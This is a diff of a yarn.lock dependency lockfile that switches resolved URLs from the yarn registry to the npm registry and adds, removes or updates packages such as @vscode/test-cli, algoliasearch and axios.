-  resolved "https://registry.yarnpkg.com/@use-gesture/core/-/core-10.2.27.tgz#0f24b17c036cd828ba07e3451ff45e2df959c6f5"
-  integrity sha512-V4XV7hn9GAD2MYu8yBBVi5iuWBsAMfjPRMsEVzoTNGYH72tf0kFP+OKqGKc8YJFQIJx6yj+AOqxmEHOmx2/MEA==
-
-"@use-gesture/react@^10.2.22":
-  version "10.2.27"
-  resolved "https://registry.yarnpkg.com/@use-gesture/react/-/react-10.2.27.tgz#7fbd50d14449ec5bc49c9b6cfef8a2845f5e0608"
-  integrity sha512-7E5vnWCxeslWlxwZ8uKIcnUZVMTRMZ8cvSnLLKF1NkyNb3PnNiAzoXM4G1vTKJKRhgOTeI6wK1YsEpwo9ABV5w==
+"@vscode/test-cli@^0.0.10":
+  version "0.0.10"
+  resolved "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.10.tgz"
+  integrity sha512-B0mMH4ia+MOOtwNiLi79XhA+MLmUItIC8FckEuKrVAVriIuSWjt7vv4+bF8qVFiNFe4QRfzPaIZk39FZGWEwHA==
+  dependencies:
+    "@types/mocha" "^10.0.2"
+    c8 "^9.1.0"
+    chokidar "^3.5.3"
+    enhanced-resolve "^5.15.0"
+    glob "^10.3.10"
+    minimatch "^9.0.3"
+    mocha "^10.2.0"
+    supports-color "^9.4.0"
+    yargs "^17.7.2"
+
+"@vscode/test-electron@^2.4.1":
+  version "2.4.1"
+  resolved "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-2.4.1.tgz"
+  integrity sha512-Gc6EdaLANdktQ1t+zozoBVRynfIsMKMc94Svu1QreOBC8y76x4tvaK32TljrLi1LI2+PK58sDVbL7ALdqf3VRQ==
   dependencies:
-    "@use-gesture/core" "10.2.27"
+    http-proxy-agent "^7.0.2"
+    https-proxy-agent "^7.0.5"
+    jszip "^3.10.1"
+    ora "^7.0.1"
+    semver "^7.6.2"
 
 abab@^2.0.6:
   version "2.0.6"
-  resolved "https://registry.yarnpkg.com/abab/-/abab-2.0.6.tgz#41b80f2c871d19686216b82309231cfd3cb3d291"
+  resolved "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz"
   integrity sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==
 
+accepts@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz"
+  integrity sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==
+  dependencies:
+    mime-types "^3.0.0"
+    negotiator "^1.0.0"
+
 acorn-globals@^6.0.0:
   version "6.0.0"
-  resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-6.0.0.tgz#46cdd39f0f8ff08a876619b55f5ac8a6dc770b45"
+  resolved "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz"
   integrity sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==
   dependencies:
     acorn "^7.1.1"
@@ -3364,49 +3725,54 @@ acorn-globals@^6.0.0:
 
 acorn-jsx@^5.3.2:
   version "5.3.2"
-  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  resolved "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz"
   integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
 
 acorn-walk@^7.1.1:
   version "7.2.0"
-  resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc"
+  resolved "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz"
   integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==
 
 acorn-walk@^8.1.1:
   version "8.2.0"
-  resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-8.2.0.tgz#741210f2e2426454508853a2f44d0ab83b7f69c1"
+  resolved "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz"
   integrity sha512-k+iyHEuPgSw6SbuDpGQM+06HQUa04DZ3o+F6CSzXMvvI5KMvnaEqXe+YVe555R9nn6GPt404fos4wcgpw12SDA==
 
 acorn@^7.1.1:
   version "7.4.1"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
+  resolved "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz"
   integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
 
-acorn@^8.4.1, acorn@^8.7.1, acorn@^8.8.0:
+acorn@^8.14.0:
+  version "8.14.0"
+  resolved "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz"
+  integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==
+
+acorn@^8.4.1, acorn@^8.7.1:
   version "8.8.0"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.8.0.tgz#88c0187620435c7f6015803f5539dae05a9dbea8"
+  resolved "https://registry.npmjs.org/acorn/-/acorn-8.8.0.tgz"
   integrity sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==
 
-acorn@^8.8.2:
-  version "8.11.3"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.11.3.tgz#71e0b14e13a4ec160724b38fb7b0f233b1b81d7a"
-  integrity sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==
-
 acorn@^8.9.0:
   version "8.11.2"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.11.2.tgz#ca0d78b51895be5390a5903c5b3bdcdaf78ae40b"
+  resolved "https://registry.npmjs.org/acorn/-/acorn-8.11.2.tgz"
   integrity sha512-nc0Axzp/0FILLEVsm4fNwLCwMttvhEI263QtVPQcbpfZZ3ts0hLsZGOpE6czNlid7CJ9MlyH8reXkpsf3YUY4w==
 
 agent-base@6:
   version "6.0.2"
-  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
+  resolved "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz"
   integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
   dependencies:
     debug "4"
 
-ajv@^6.10.0, ajv@^6.12.4:
+agent-base@^7.1.0, agent-base@^7.1.2:
+  version "7.1.3"
+  resolved "https://registry.npmjs.org/agent-base/-/agent-base-7.1.3.tgz"
+  integrity sha512-jRR5wdylq8CkOe6hei19GGZnxM6rBGwFl3Bg0YItGDimvjGtAvdZk4Pu6Cl4u4Igsws4a1fd1Vq3ezrhn4KmFw==
+
+ajv@^6.12.4:
   version "6.12.6"
-  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  resolved "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz"
   integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
   dependencies:
     fast-deep-equal "^3.1.1"
@@ -3414,60 +3780,84 @@ ajv@^6.10.0, ajv@^6.12.4:
     json-schema-traverse "^0.4.1"
     uri-js "^4.2.2"
 
+algoliasearch@^5.23.3:
+  version "5.23.4"
+  resolved "https://registry.npmjs.org/algoliasearch/-/algoliasearch-5.23.4.tgz"
+  integrity sha512-QzAKFHl3fm53s44VHrTdEo0TkpL3XVUYQpnZy1r6/EHvMAyIg+O4hwprzlsNmcCHTNyVcF2S13DAUn7XhkC6qg==
+  dependencies:
+    "@algolia/client-abtesting" "5.23.4"
+    "@algolia/client-analytics" "5.23.4"
+    "@algolia/client-common" "5.23.4"
+    "@algolia/client-insights" "5.23.4"
+    "@algolia/client-personalization" "5.23.4"
+    "@algolia/client-query-suggestions" "5.23.4"
+    "@algolia/client-search" "5.23.4"
+    "@algolia/ingestion" "1.23.4"
+    "@algolia/monitoring" "1.23.4"
+    "@algolia/recommend" "5.23.4"
+    "@algolia/requester-browser-xhr" "5.23.4"
+    "@algolia/requester-fetch" "5.23.4"
+    "@algolia/requester-node-http" "5.23.4"
+
+ansi-colors@^4.1.3:
+  version "4.1.3"
+  resolved "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz"
+  integrity sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==
+
 ansi-escapes@^4.2.1:
   version "4.3.2"
-  resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e"
+  resolved "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz"
   integrity sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==
   dependencies:
     type-fest "^0.21.3"
 
 ansi-regex@^4.0.0:
   version "4.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.1.tgz#164daac87ab2d6f6db3a29875e2d1766582dabed"
+  resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz"
   integrity sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==
 
 ansi-regex@^5.0.1:
   version "5.0.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz"
   integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
 
 ansi-regex@^6.0.1:
   version "6.0.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-6.0.1.tgz#3183e38fae9a65d7cb5e53945cd5897d0260a06a"
+  resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz"
   integrity sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==
 
 ansi-styles@^3.2.0, ansi-styles@^3.2.1:
   version "3.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz"
   integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
   dependencies:
     color-convert "^1.9.0"
 
 ansi-styles@^4.0.0, ansi-styles@^4.1.0:
   version "4.3.0"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz"
   integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
   dependencies:
     color-convert "^2.0.1"
 
-ansi-styles@^5.0.0:
+ansi-styles@^5.0.0, ansi-styles@^5.2.0:
   version "5.2.0"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-5.2.0.tgz#07449690ad45777d1924ac2abb2fc8895dba836b"
+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz"
   integrity sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==
 
 ansi-styles@^6.1.0:
   version "6.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-6.2.1.tgz#0e62320cf99c21afff3b3012192546aacbfb05c5"
+  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz"
   integrity sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==
 
 any-promise@^1.0.0:
   version "1.3.0"
-  resolved "https://registry.yarnpkg.com/any-promise/-/any-promise-1.3.0.tgz#abc6afeedcea52e809cdc0376aed3ce39635d17f"
+  resolved "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz"
   integrity sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==
 
 anymatch@^3.0.3:
   version "3.1.2"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716"
+  resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz"
   integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==
   dependencies:
     normalize-path "^3.0.0"
@@ -3475,7 +3865,7 @@ anymatch@^3.0.3:
 
 anymatch@~3.1.2:
   version "3.1.3"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.3.tgz#790c58b19ba1720a84205b57c618d5ad8524973e"
+  resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz"
   integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==
   dependencies:
     normalize-path "^3.0.0"
@@ -3483,196 +3873,108 @@ anymatch@~3.1.2:
 
 arg@^4.1.0:
   version "4.1.3"
-  resolved "https://registry.yarnpkg.com/arg/-/arg-4.1.3.tgz#269fc7ad5b8e42cb63c896d5666017261c144089"
+  resolved "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz"
   integrity sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==
 
-arg@^5.0.2:
-  version "5.0.2"
-  resolved "https://registry.yarnpkg.com/arg/-/arg-5.0.2.tgz#c81433cc427c92c4dcf4865142dbca6f15acd59c"
-  integrity sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==
-
 argparse@^1.0.7:
   version "1.0.10"
-  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
+  resolved "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz"
   integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
   dependencies:
     sprintf-js "~1.0.2"
 
 argparse@^2.0.1:
   version "2.0.1"
-  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
+  resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz"
   integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
 
+args@5.0.3:
+  version "5.0.3"
+  resolved "https://registry.npmjs.org/args/-/args-5.0.3.tgz"
+  integrity sha512-h6k/zfFgusnv3i5TU08KQkVKuCPBtL/PWQbWkHUxvJrZ2nAyeaUupneemcrgn1xmqxPQsPIzwkUhOpoqPDRZuA==
+  dependencies:
+    camelcase "5.0.0"
+    chalk "2.4.2"
+    leven "2.1.0"
+    mri "1.1.4"
+
 aria-query@^5.0.0:
   version "5.0.2"
-  resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-5.0.2.tgz#0b8a744295271861e1d933f8feca13f9b70cfdc1"
+  resolved "https://registry.npmjs.org/aria-query/-/aria-query-5.0.2.tgz"
   integrity sha512-eigU3vhqSO+Z8BKDnVLN/ompjhf3pYzecKXz8+whRy+9gZu8n1TCGfwzQUUPnqdHl9ax1Hr9031orZ+UOEYr7Q==
 
-aria-query@^5.1.3:
-  version "5.1.3"
-  resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-5.1.3.tgz#19db27cd101152773631396f7a95a3b58c22c35e"
-  integrity sha512-R5iJ5lkuHybztUfuOAznmboyjWq8O6sqNqtK7CLOqdydi54VNbORp49mb14KbWgG1QD3JFO9hJdZ+y4KutfdOQ==
-  dependencies:
-    deep-equal "^2.0.5"
-
-array-buffer-byte-length@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz#fabe8bc193fea865f317fe7807085ee0dee5aead"
-  integrity sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==
-  dependencies:
-    call-bind "^1.0.2"
-    is-array-buffer "^3.0.1"
-
-array-includes@^3.1.5, array-includes@^3.1.6:
-  version "3.1.6"
-  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.6.tgz#9e9e720e194f198266ba9e18c29e6a9b0e4b225f"
-  integrity sha512-sgTbLvL6cNnw24FnbaDyjmvddQ2ML8arZsgaJhoABMoplz/4QRhtrYS+alr1BUM1Bwp6dhx8vVCBSLG+StwOFw==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-    get-intrinsic "^1.1.3"
-    is-string "^1.0.7"
-
-array-includes@^3.1.7:
-  version "3.1.7"
-  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.7.tgz#8cd2e01b26f7a3086cbc87271593fe921c62abda"
-  integrity sha512-dlcsNBIiWhPkHdOEEKnehA+RNUWDc4UqFtnIXU4uuYDPtA4LDkr7qip2p0VvFAEXNDr0yWZ9PJyIRiGjRLQzwQ==
+array-buffer-byte-length@^1.0.1, array-buffer-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz#384d12a37295aec3769ab022ad323a18a51ccf8b"
+  integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    get-intrinsic "^1.2.1"
-    is-string "^1.0.7"
+    call-bound "^1.0.3"
+    is-array-buffer "^3.0.5"
 
 array-union@^2.1.0:
   version "2.1.0"
-  resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
+  resolved "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz"
   integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
 
-array.prototype.findlastindex@^1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.3.tgz#b37598438f97b579166940814e2c0493a4f50207"
-  integrity sha512-LzLoiOMAxvy+Gd3BAq3B7VeIgPdo+Q8hthvKtXybMvRV0jrXfJM/t8mw7nNlpEcVlVUnCnM2KSX4XU5HmpodOA==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    es-shim-unscopables "^1.0.0"
-    get-intrinsic "^1.2.1"
-
-array.prototype.flat@^1.3.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz#1476217df8cff17d72ee8f3ba06738db5b387d18"
-  integrity sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    es-shim-unscopables "^1.0.0"
-
-array.prototype.flatmap@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.1.tgz#1aae7903c2100433cb8261cd4ed310aab5c4a183"
-  integrity sha512-8UGn9O1FDVvMNB0UlLv4voxRMze7+FpHyF5mSMRjWHUMlpoDViniy05870VlxhfgTnLbpuwTzvD76MTtWxB/mQ==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-    es-shim-unscopables "^1.0.0"
-
-array.prototype.flatmap@^1.3.2:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz#c9a7c6831db8e719d6ce639190146c24bbd3e527"
-  integrity sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    es-shim-unscopables "^1.0.0"
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
 
-array.prototype.tosorted@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/array.prototype.tosorted/-/array.prototype.tosorted-1.1.1.tgz#ccf44738aa2b5ac56578ffda97c03fd3e23dd532"
-  integrity sha512-pZYPXPRl2PqWcsUs6LOMn+1f1532nEoPTYowBtqLwAW+W8vSVhkIGnmOX1t/UQjD6YGI0vcD2B1U7ZFGQH9jnQ==
+ast-types@^0.13.4:
+  version "0.13.4"
+  resolved "https://registry.npmjs.org/ast-types/-/ast-types-0.13.4.tgz"
+  integrity sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==
   dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.4"
-    es-abstract "^1.20.4"
-    es-shim-unscopables "^1.0.0"
-    get-intrinsic "^1.1.3"
+    tslib "^2.0.1"
 
-arraybuffer.prototype.slice@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.2.tgz#98bd561953e3e74bb34938e77647179dfe6e9f12"
-  integrity sha512-yMBKppFur/fbHu9/6USUe03bZ4knMYiwFBcyiaXB8Go0qNehwX6inYPzK9U0NeQvGxKthcmHcaR8P5MStSRBAw==
-  dependencies:
-    array-buffer-byte-length "^1.0.0"
-    call-bind "^1.0.2"
-    define-properties "^1.2.0"
-    es-abstract "^1.22.1"
-    get-intrinsic "^1.2.1"
-    is-array-buffer "^3.0.2"
-    is-shared-array-buffer "^1.0.2"
-
-ast-types-flow@^0.0.7:
-  version "0.0.7"
-  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad"
-  integrity sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag==
-
-asynciterator.prototype@^1.0.0:
+async-function@^1.0.0:
   version "1.0.0"
-  resolved "https://registry.yarnpkg.com/asynciterator.prototype/-/asynciterator.prototype-1.0.0.tgz#8c5df0514936cdd133604dfcc9d3fb93f09b2b62"
-  integrity sha512-wwHYEIS0Q80f5mosx3L/dfG5t5rjEa9Ft51GTaNt862EnpyGHpgz2RkZvLPp1oF5TnAiTohkEKVEu8pQPJI7Vg==
-  dependencies:
-    has-symbols "^1.0.3"
+  resolved "https://registry.yarnpkg.com/async-function/-/async-function-1.0.0.tgz#509c9fca60eaf85034c6829838188e4e4c8ffb2b"
+  integrity sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==
+
+async@^3.2.3:
+  version "3.2.6"
+  resolved "https://registry.npmjs.org/async/-/async-3.2.6.tgz"
+  integrity sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==
 
 asynckit@^0.4.0:
   version "0.4.0"
-  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+  resolved "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz"
   integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
 
-autoprefixer@^10.4.13:
-  version "10.4.14"
-  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-10.4.14.tgz#e28d49902f8e759dd25b153264e862df2705f79d"
-  integrity sha512-FQzyfOsTlwVzjHxKEqRIAdJx9niO6VCBCoEwax/VLSoQF29ggECcPuBqUMZ+u8jCZOPSy8b8/8KnuFbp0SaFZQ==
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
   dependencies:
-    browserslist "^4.21.5"
-    caniuse-lite "^1.0.30001464"
-    fraction.js "^4.2.0"
-    normalize-range "^0.1.2"
-    picocolors "^1.0.0"
-    postcss-value-parser "^4.2.0"
-
-available-typed-arrays@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz#92f95616501069d07d10edb2fc37d3e1c65123b7"
-  integrity sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==
-
-axe-core@^4.6.2:
-  version "4.7.2"
-  resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.7.2.tgz#040a7342b20765cb18bb50b628394c21bccc17a0"
-  integrity sha512-zIURGIS1E1Q4pcrMjp+nnEh+16G56eG/MUllJH8yEvw7asDo7Ac9uhC9KIH5jzpITueEZolfYglnCGIuSBz39g==
+    possible-typed-array-names "^1.0.0"
 
 axios@^1.6.1:
-  version "1.7.1"
-  resolved "https://registry.yarnpkg.com/axios/-/axios-1.7.1.tgz#522145622a09dfaf49359837db9649ff245a35b9"
-  integrity sha512-+LV37nQcd1EpFalkXksWNBiA17NZ5m5/WspmHGmZmdx1qBOg/VNq/c4eRJiA9VQQHBOs+N0ZhhdU10h2TyNK7Q==
+  version "1.7.4"
+  resolved "https://registry.npmjs.org/axios/-/axios-1.7.4.tgz"
